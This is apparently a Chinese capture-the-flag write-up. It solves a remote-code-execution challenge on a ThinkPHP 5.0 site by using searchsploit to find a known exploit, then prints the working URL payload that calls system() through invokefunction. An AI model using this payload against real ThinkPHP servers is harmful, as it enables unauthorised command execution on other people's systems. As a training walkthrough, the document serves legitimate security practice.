首先看题目，rce，就知道是一道remote code execution(远程命令执行)的题目。
    image.png
    打开之后发现是thinkphp 5.0版本的框架
    使用searchsploit工具搜索thinkphp，得到以下结果

    1. [i] Unable to detect version in terms: thinkphp
    2. [i] Enabling 'searchsploit --strict'
    3. -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
    4.  Exploit Title                                                                                                                                                                  |  Path
    5. -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
    6. ThinkPHP - Multiple PHP Injection RCEs (Metasploit)                                                                                                                             | linux/remote/48333.rb
    7. ThinkPHP 2.0 - 'index.php' Cross-Site Scripting                                                                                                                                 | php/webapps/33933.txt
    8. ThinkPHP 5.0.23/5.1.31 - Remote Code Execution                                                                                                                                  | php/webapps/45978.txt
    9. ThinkPHP 5.X - Remote Command Execution                                                                                                                                         | php/webapps/46150.txt
    10. -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
    11. Shellcodes: No Results
    12. Papers: No Results

    接着使用searchsploit -m 45978将exploit复制到当前目录中，查看45978.txt就可以得到exploit

    1. http://server/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();

    将vars[1][]=后面的内容换成系统命令，即可在根目录中找到flag。